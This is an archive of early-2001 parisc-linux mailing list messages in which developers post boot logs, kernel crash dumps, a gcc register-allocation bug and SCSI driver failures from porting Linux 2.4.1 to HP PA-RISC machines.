             <Pine.LNX.4.21.0101311009300.28557-100000@maestro.symsys.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10096

Greg Ingram wrote:
> Just tried the lastest 2.4.1 bits from CVS and it barfs on my C100.  
> Output follows.

Same here. But mine dies sooner in serial card initialization
or somewhere soon after that. Had enough for today.

grant

ps. I was amused to see "Linux 2.4.1" on the LED display though. :^)
    Good work Helge!


Firmware Version 4.9

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  I/D Cache
  ---------  --------   ---------------------  -----------------  -------------
      0      440 MHz    Active                 Functional         512 kB/1 MB
      1      440 MHz    Idle                   Functional         512 kB/1 MB

  Central Bus Speed:                   120 MHz

  Available memory:             2147483648 bytes
  Good memory required:                  0 bytes (Not Set by OS)

  Primary boot path:    FWSCSI.6.0
  Alternate boot path:  SCSI.6.0
  Console path:         PCI7.0.0
  Keyboard path:        USB

CPU 0
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.

CPU 1
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
          enabled.  To enable self-tests, disable FASTBOOT with the FASTBOOT
          command in the CONFIGURATION menu and reboot the system.


Processor is booting from first available device.

To discontinue, press any key within 10 seconds.

Boot terminated.


----- Main Menu -------------------------------------------------------------

      Command                           Description
      -------                           -----------
      BOot [PRI|ALT|<path>]             Boot from specified path
      PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
      SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

      COnfiguration [<command>]         Access Configuration menu/commands
      INformation [<command>]           Access Information menu/commands
      SERvice [<command>]               Access Service menu/commands

      DIsplay                           Redisplay the current menu
      HElp [<menu>|<command>]           Display help for menu or command
      RESET                             Restart the system
-----
Main Menu: Enter command > bo lan
Interact with IPL (Y, N, Q)?> n


Booting...
Network Station Address 001083-7a1f0c

System IP Address 15.8.81.61
Server IP Address 15.8.81.247

Boot IO Dependent Code (IODC) revision 2


HARD Booted.
palo ipl grundler@hpisp747 Wed Jan 10 17:21:51 PST 2001
0/vmlinux 2222350 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100160 first 00100000 n 5
Segment 0 load 00100000 size 1433988 mediaptr 0x1000
Segment 1 load 00260000 size 173432 mediaptr 0x160000
Segment 2 load 0028c000 size 119640 mediaptr 0x18b000
Segment 3 load 002ac000 size 8192 mediaptr 0x1a9000
Segment 4 load 002d85c8 size 71104 mediaptr 0x1ab5c8
branching to kernel entry point 0x00100160
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 16
Free memory starts at: 0xc02ea000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0'
PALO initrd 0-0
model   00005bd0 00000491 00000000 00000002 77f685a7 100000f0 00000008 000000b2 000000b2
vers    00000201
cpuid   00000225
CPUID   vers 17 rev 5
model   9000/785/J5000
led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, ret0=32, ret1=32
led_init: min_cmd_delay = 40 uS
LCD display at f05d0008,f05d0000 registered
Searching for devices in PDC firmware... processor hpa 0xfffa0000
a newer box...
Found devices:
1. Astro BC Runway Port (12) at 0xfed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
2. Elroy PCI Bridge (13) at 0xfed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
3. Elroy PCI Bridge (13) at 0xfed32000, versions 0x782, 0x0, 0xa, 0x0, 0x0
4. Elroy PCI Bridge (13) at 0xfed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
5. Elroy PCI Bridge (13) at 0xfed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Forte W 2-way (0) at 0xfffa0000, versions 0x5bd, 0x0, 0x4, 0x0, 0x91
8. Forte W 2-way (0) at 0xfffa2000, versions 0x5bd, 0x0, 0x4, 0x0, 0x91
9. Forte 2w Memory (1) at 0xfed10200, versions 0x88, 0x0, 0x9, 0x0, 0x0
That's a total of 9 devices.
CONFIG_SMP disabled - not claiming addional CPUs
Warning : device (0, 0x5bd, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8500 (PCX-W) at 440.000000 MHz
Linux version 2.4.1 (grundler@hpisp747) (gcc version 2.96 20000925 (experimental)) #1 Wed Jan 31 15:25:58 PST 2001
free_bootmem(0x2ee000, 0x1fd12000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=15.8.81.247:/tftpboot/hppa console=ttyS0
Calibrating delay loop... 878.18 BogoMIPS
Memory: 512048k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
POSIX conformance testing by UNIFIX
lba version TR2.1 (0x2) found at 0xfed30000
lba version TR2.1 (0x2) found at 0xfed32000
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
lba version TR2.1 (0x2) found at 0xfed34000
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
lba version TR2.1 (0x2) found at 0xfed38000
Warning : device (13, 0x782, 0x0, 0xa, 0x0) NOT claimed by lba TR2.1
lba version TR2.1 (0x2) found at 0xfed3c000
kernel BUG at lba_pci.c:750!
(00000000)  c0275534 [0,ffffffff]/200
(c0275534)    dfff11ec [f0000001,f8000000]/200
SBA found Astro 2.1 at 0xfed00000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
block: queued sectors max/low 340133kB/209061kB, 1024 slots per queue
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled

Dumping Stack from dfff4000 to dfff4ac0:
4000 00000000 00000040 00000000 00000000 c02754a0 00000001 00000000 ffffffff
4020 00000000 00000000 00000000 00000000 00000000 00000000 ffffffff c0275364
4040 c0275364 00000042 dffe4000 c02ac000 c027a60c 00000000 00000000 00000000
4060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
4080 00000000 c02ac000 c02ac000 dfe30000 00000000 00000000 dfe30098 c02ac098
40a0 00000000 c02c819c 00000000 dfff40ac dfff40ac dfff4908 00000000 00000000
40c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
40e0 dfff4000 c0119d98 00000000 00000017 00000000 00000000 00000030 00000000
4100 00000047 00000000 00000000 00000000 00000000 00000000 00000000 80000000
4120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
41c0 00000000 fffffeff 00000000 ffffffff 00000000 c02760b8 ffffffff ffffffff
41e0 ffffffff ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff
4200 ffffffff ffffffff 00002000 00002000 00000400 00000400 ffffffff ffffffff
4220 ffffffff ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000
4240 00000000 00000000 00000000 00000000 00000000 00000000 00020000 00000004
4260 00000000 c01416ec 00040000 dfffeba0 c0227770 c02382cc 00000003 00504d70
4280 00000000 c011817c c02c7000 00020000 00000004 c02c7000 00000000 0004000a
42a0 0000003c 0000003e c0275000 00000001 c02b3ba7 00000004 c02b3b83 00000000
42c0 c01002cc 0000003e 00000000 00000024 0000000b c02754d4 c0275000 f000017c
42e0 f0000174 000000ff 002ae080 fee003f8 fee003fd 002b163c 00000060 fee003f8
4300 002b3540 c0260000 00000000 175d4749 c02ac8c0 00000060 0010081f 00000000
4320 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00003d09 ffffffff
4340 00000078 ffffffff 00000000 001c9c38 ffffffff ffffffff ffffffff ffffffff
4360 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4380 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
43a0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
43c0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
43e0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4400 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff 00000000 00000000
4420 dfff4800 c0105cf4 00000000 00000000 00000000 00000000 00000000 00000000
4440 c0118168 c011816c ffffffff ffffffff 0027b000 00000000 c027a040 c027a064
4460 00000000 c027a204 00000000 00000000 00000000 dfff4470 00000000 00000000
4480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44e0 00000000 00000000 00000000 c0105c48 00000000 00000000 00000000 00000000
4500 c02ac000 00000000 c02ac640 00000000 00000000 00000000 00000000 00000000
4520 00000000 00000000 00000000 c01002e0 00000000 00000000 00000000 00000000
4540 00000000 00000000 00000000 00000000 dfff4000 c027a60c c02ac000 00000000
4560 c02ac640 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
45a0 00000000 00000000 00000000 c028d15c 00000000 00000000 00000000 00000000
45c0 00000001 c027e000 00000000 00000000 002b163c 00000001 00000001 c0253d84
45e0 00000000 00000000 00000000 c028d090 00000000 00000000 00000000 00000000
4600 f0000174 f000017c f00008c4 f0400004 00000001 ffffffff 00000000 c028d930
4620 0004000a 00000003 c02c8000 c02ca800 c0260000 c02c7000 c02a9358 c02a9318
4640 c02a9358 c02a9314 00000000 00000000 ffffffff 00000000 c028d930 0004000a
4660 00000003 c02c8000 c02ca800 c0294e18 c02c7000 c02a9358 c02a92f8 c02c7000
4680 c02c4d80 c02c4e3c c0282300 00000040 c0243c6c c024386c c0243914 c0243c70
46a0 00000000 00000000 c02ca800 c0295174 c02c7000 00010800 dfff4608 c02754d4
46c0 10000080 c02c4d80 c02c4e3c c0282300 00000040 dfffeea0 c0243800 c0243800
46e0 fffffffc c02c4e3c c0199db4 c0198858 c027f44c 10000080 c02c4d80 c02c4e3c
4700 c0282300 00000040 c02439cc c0283de0 c0243800 00000000 c02c4d80 c02c4d80
4720 c02c7000 c02c3fb0 c01e5e40 c0118604 c0283de0 c0283c80 dfff4900 00000060
4740 c02c8064 00000000 c02823d0 c02c8060 00000000 00000001 c02b3bdb 00000004
4760 c02b3b86 00000054 c02b3bdb c0158574 0000003c 00000058 0000000b c02754d4
4780 dfff1bec 00008124 f0000174 000000ff 002ae080 fee003f8 fee003fd 002b163c
47a0 00000060 fee003f8 002b3540 c0295084 00000000 362f5862 dfff4980 00000060
47c0 0010081f 00000000 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
47e0 00003d09 ffffffff 00000078 c0196a98 00000000 001c9c38 ffffffff ffffffff
4800 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4820 ffffffff ffffffff ffffffff c010cc88 ffffffff ffffffff ffffffff ffffffff
4840 c02c4d7c ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4860 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4880 0006000b c01df800 c010de30 00000000 00000013 0000002f c02c5b60 c02823d0
48a0 ffffffff c0275000 c0199db4 c02c4e3c fffffffc c0243800 c0243800 c02d5e04
48c0 c0243800 c0243800 c02c4dc0 0000000b c02c5b60 c02c7800 c010de10 00000040
48e0 0000002f fee0ffff 0000002f c0260000 3c105410 0000002f dfff4ac0 c010cc88
4900 0010081f 00000000 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4920 00003d09 ffffffff 00000078 ffffffff 00000000 001c9c38 ffffffff ffffffff
4940 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4960 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4980 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
49a0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
49c0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
49e0 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
4a00 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
4a20 00000000 00000000 c010de30 c010de34 c0276468 00000000 00000000 00000000
4a40 00000000 c02c8000 dfff4740 00000020 00000000 487300f0 00000000 00000078
4a60 dfff4000 00000002 c0276318 c0103058 c0276468 00000000 00000000 00000000
4a80 dfff4740 00000020 c02620ec 00000020 00000004 c02b3b83 0000001f c02b3ba3
4aa0 00000000 00000002 c0276318 c0106704 c0276468 00000000 00000000 00000000

Data access rights fault in kernel: Code=26 regs=dfff4880 (Addr=00000078)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001011
r0-3     00000000 c01df800 c010de30 00000000
r4-7     00000013 0000002f c02c5b60 c02823d0
r8-11    ffffffff c0275000 c0199db4 c02c4e3c
r12-15   fffffffc c0243800 c0243800 c02d5e04
r16-19   c0243800 c0243800 c02c4dc0 0000000b
r20-23   c02c5b60 c02c7800 c010de10 00000040
r24-27   0000002f fee0ffff 0000002f c0260000
r28-31   3c105410 0000002f dfff4ac0 c010cc88
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c010de30 c010de34
 IIR: 487300f0    ISR: 00000000  IOR: 00000078
ORIG_R28: c02c8000

GR02 == IAOQ?
0xc010de30 lba_astro_out8+20





From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.1 Bits Won't Drive C100
Date: Thu, 1 Feb 2001 03:27:08 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <01020103270805.01060@P100.helgenet.de>
References: <200102010218.SAA00333@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619818 14830 80.91.229.3 (22 Nov 2014 01:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>,
	Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 19:25:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C80E4A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 19:25:43 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA20077
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 19:21:35 -0700
Original-Received: (qmail 28172 invoked by uid 15267); 1 Feb 2001 02:25:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28154 invoked from network); 1 Feb 2001 02:25:41 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 02:25:41 -0000
Original-Received: (qmail 30247 invoked by uid 0); 1 Feb 2001 02:25:30 -0000
Original-Received: from pd9040d3a.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.58)
  by mail.gmx.net (mail02) with SMTP; 1 Feb 2001 02:25:30 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <200102010218.SAA00333@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10097

On Thursday 01 February 2001 03:18, Grant Grundler wrote:

> ps. I was amused to see "Linux 2.4.1" on the LED display though. :^)
>     Good work Helge!

Hey, it really worked ?
I had never tested it or got any feedback if it worked.
Thanks, I think this will be a nice day today :-)

Helge




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] WARNING: C3000 Linux problems
Date: Wed, 31 Jan 2001 19:50:31 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20010201025031.5C5A238926@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619818 14834 80.91.229.3 (22 Nov 2014 01:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:18 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 19:48:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E4F94A18
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 19:48:34 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 81D9A1762
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 21:48:33 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 5C5A238926
	for <parisc-linux@parisc-linux.org>; Wed, 31 Jan 2001 19:50:31 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:10098

Summary: Don't run Linux on a C3000 until you hear otherwise.

Recently I had been doing a lot of building on a C3000 and was having some 
very weird and often not repeatable errors. John Marvin has a J5000 and was 
not having the problems. We were able to find a way to repeat the errors 
cleanly and independantly of other variables. We discovered that there is 
something different between the C3000 and J5000 that is causing the errors to 
happen. This is using a pre 2.4.0-merge kernel. So whatever subtle difference 
there is in the hardware is causing or uncovering a problem with our kernel. 
J5000s seem to be as good as ever, I don't know about B1000, B2000, C3600, 
J5600, or J6000. John Marvin is still looking at the problem, I have switched 
to a J5000 and am still trying to get a new toolchain built properly. 
Hopefully this will be resolved soon.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Thu, 1 Feb 2001 14:59:45 +1100 (EST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102011431180.19209-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0101311805130.19209-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619818 14836 80.91.229.3 (22 Nov 2014 01:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:18 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 31 21:00:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 288994A18
	for <parisc-linux@lists.parisc-linux.org>; Wed, 31 Jan 2001 21:00:31 -0700 (MST)
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA20418
	for <parisc-linux@puffin.external.hp.com>; Wed, 31 Jan 2001 20:56:22 -0700
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA06166;
	Thu, 1 Feb 2001 14:59:45 +1100
In-Reply-To: <Pine.LNX.4.21.0101311805130.19209-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10099

On Wed, 31 Jan 2001, Alan Modra wrote:

> On Wed, 31 Jan 2001, Alan Modra wrote:
> 
> [about pehc devel branch gcc]
> > r19 is being trashed.  It's a compiler bug.  One I added too. :-(
> 
> Now fixed.

It anyone has tried to compile glibc with the devel branch compiler,
you've probably discovered by now that ld.so is still crashing, but for a
different reason.  The global register allocation pass does the following
naughty thing:

[from elf/dl-load.c]
(insn 612 608 1626 (set (reg:SI 1 %r1)
        (plus:SI (reg:SI 19 %r19)
            (high:SI (symbol_ref/v/f:SI ("*.LC27"))))) 80 {*pa.md:2326}
(nil)
    (nil))

(insn 1626 612 621 (set (reg:SI 23 %r23 [242])
        (reg:SI 1 %r1)) 69 {*pa.md:2099} (nil)
    (nil))

[snip around 1480 lines, including calls]

(insn 1638 1527 988 (set (reg:SI 21 %r21)
        (mem/u:SI (lo_sum:SI (reg:SI 23 %r23 [242])
                (unspec:SI[ 
                        (symbol_ref/v/f:SI ("*.LC27"))
                    ]  0)) 0)) 82 {*pa.md:2352} (nil)
    (nil))

With the problem being that r23 is not a callee saved register, so it's
well and truly trashed by the time insn 1638 tries to use it.

-- 
Linuxcare.  Support for the Revolution.






From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 720/50 SCSI - supported?
Date: Thu, 1 Feb 2001 22:41:19 +1100 (EST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200102011141.WAA11608@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619819 14841 80.91.229.3 (22 Nov 2014 01:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 04:42:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CA1E4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 04:42:11 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA26260
	for <parisc-linux@puffin.external.hp.com>; Thu, 1 Feb 2001 04:37:52 -0700
Original-Received: (qmail 21807 invoked by uid 15267); 1 Feb 2001 11:41:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21791 invoked from network); 1 Feb 2001 11:41:58 -0000
Original-Received: from mr14.vic-remote.bigpond.net.au (24.192.1.29)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2001 11:41:58 -0000
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id WAA18952
	for <parisc-linux@thepuffingroup.com>; Thu, 1 Feb 2001 22:41:28 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id WAA11608
	for parisc-linux@thepuffingroup.com; Thu, 1 Feb 2001 22:41:20 +1100
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10100

Hi,

after successfully cross compiling a kernel, I have a problem!

The initial bus scan seems to see the scsi controller:
model   00002000 00000481 00000000 00000000 775e3623 000011f4 00000004 0000000d
00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/720
led_init: CPU_HVERSION 200
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Found devices:
1. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
2. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0

but the driver seems to have a problem here!

SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 81
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: test 1 FAILED: dsps: exp 0xab93001d, got 0x65686361
scsi0: Chip register contents:
 (script[0] at virt c7f70000, bus 7f70000)
 00  sien:  af  sdid:  00  scntl1:20  scntl0:c4
 04  socl:  00  sodl:  00  sxfer: 00  scid:  80
 08  sbcl:  00  sbdl:  00  sidl:  00  sfbr:  00
 0C  sstat2:00  sstat1:00  sstat0:00  dstat: 80
 10
 14  ctest3:92  ctest2:21  ctest1:f0  ctest0:00
 18  ctest7:00  ctest6:53  ctest5:00  ctest4:00
 1C  temp:  00000000
 20              ctest8:ff  istat: 06  dfifo: 32
 24  dbc:   635f7472  dnad:  65686361  dsp:   07f774b4
 30  dsps:  65686361
 34  dmode: 80
 38  dcntl: 80  dwt:   00  dien:  1d
 3C
Warning : device (10, 0x4, 0x0, 0x71, 0x0) NOT claimed by Lasi SCSI 53c700

Is this a known problem ?

thanks,

Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cd image
Date: Thu, 1 Feb 2001 10:17:24 -0500 (EST)
Lines: 6
Approved: news@gmane.org
Message-ID: <200102011517.KAA00751@laocoon.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619819 14844 80.91.229.3 (22 Nov 2014 01:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org (palinux)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  1 08:24:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laocoon.cs.brandeis.edu (laocoon.cs.brandeis.edu [129.64.3.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A37C4A18
	for <parisc-linux@lists.parisc-linux.org>; Thu,  1 Feb 2001 08:24:34 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by laocoon.cs.brandeis.edu (8.9.3/8.9.3) id KAA00751
	for parisc-linux@lists.parisc-linux.org; Thu, 1 Feb 2001 10:17:24 -0500
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: aaronm@laocoon.cs.brandeis.edu
Xref: news.gmane.org gmane.linux.ports.parisc:10101

In the current install documentation, it describes booting of the dev
release CD, is this the 11-2000 iso available, or a newer version?
Aaron




From - Thu Nov 08 21:16:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
